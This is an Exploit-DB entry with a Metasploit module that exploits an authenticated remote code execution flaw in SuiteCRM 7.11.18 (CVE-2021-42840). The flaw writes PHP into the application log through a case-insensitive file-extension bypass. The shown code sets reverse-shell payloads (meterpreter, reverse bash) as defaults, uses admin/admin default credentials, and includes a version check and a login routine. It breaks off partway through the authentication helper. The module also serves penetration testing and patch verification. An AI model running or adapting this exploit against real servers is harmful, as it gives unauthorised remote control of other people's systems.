Exploit-DB #50531
Description: SuiteCRM 7.11.18 - Remote Code Execution (RCE) (Authenticated) (Metasploit)
Type: webapps
Platform: php
Date: 2021-11-17
Author: M. Cory Billington

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SuiteCRM Log File Remote Code Execution',
        'Description' => %q{
          This module exploits an input validation error on the log file extension parameter. It does
          not properly validate upper/lower case characters. Once this occurs, the application log file
          will be treated as a php file. The log file can then be populated with php code by changing the
          username of a valid user, as this info is logged. The php code in the file can then be executed
          by sending an HTTP request to the log file. A similar issue was reported by the same researcher
          where a blank file extension could be supplied and the extension could be provided in the file
          name. This exploit will work on those versions as well, and those references are included.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'M. Cory Billington' # @_th3y
        ],
        'References' => [
          ['CVE', '2021-42840'],
          ['CVE', '2020-28328'], # First CVE
          ['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.
          ['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit
          ['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit
        ],
        'Platform' => %w[linux unix],
        'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],
        'Targets' => [
          [
            'Linux (x64)', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Linux (cmd)', {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true,
        'DisclosureDate' => '2021-04-28',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),
        OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),
        OptString.new('PASS', [true, 'Password for administrator', 'admin']),
        OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),
        OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),
        OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])
      ]
    )
  end

  def check
    authenticate unless @authenticated
    return Exploit::CheckCode::Unknown unless @authenticated

    version_check_request = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Home',
          'action' => 'About'
        }
      }
    )

    return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request

    version_match = version_check_request.body[/
      Version
      \s
      \d{1} # Major revision
      \.
      \d{1,2} # Minor revision
      \.
      \d{1,2} # Bug fix release
      /x]

    version = version_match.partition(' ').last

    if version.nil? || version.empty?
      about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"
      return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")
    end

    patched_version = Rex::Version.new('7.11.18')
    current_version = Rex::Version.new(version)

    return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version

    Exploit::CheckCode::Safe("SuiteCRM #{version}")
  end

  def authenticate
    print_status("Authenticating as #{datastore['USER']}")
    initial_req = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Users',
          'action' => 'Login'
        }
      }
    )

    return false unless initial_req && initial_req.code == 200

    login = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_post' => {
          'module' => 'Users',
          'action' => 'Authenticate',
          'return_module' => 'Users',
          'return_action' => 'Login',
          'user_name' => datastore['USER'],
          'username_password' => datastore['PASS'],
          'Login' => 'Log In'
        }
      }
    )

    return false unless login && login.code == 302

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Administration',
          'action' => 'index'
        }
      }
    )

    auth_succeeded?(res)
  end

  def auth_succeeded?(res)
    return false unless res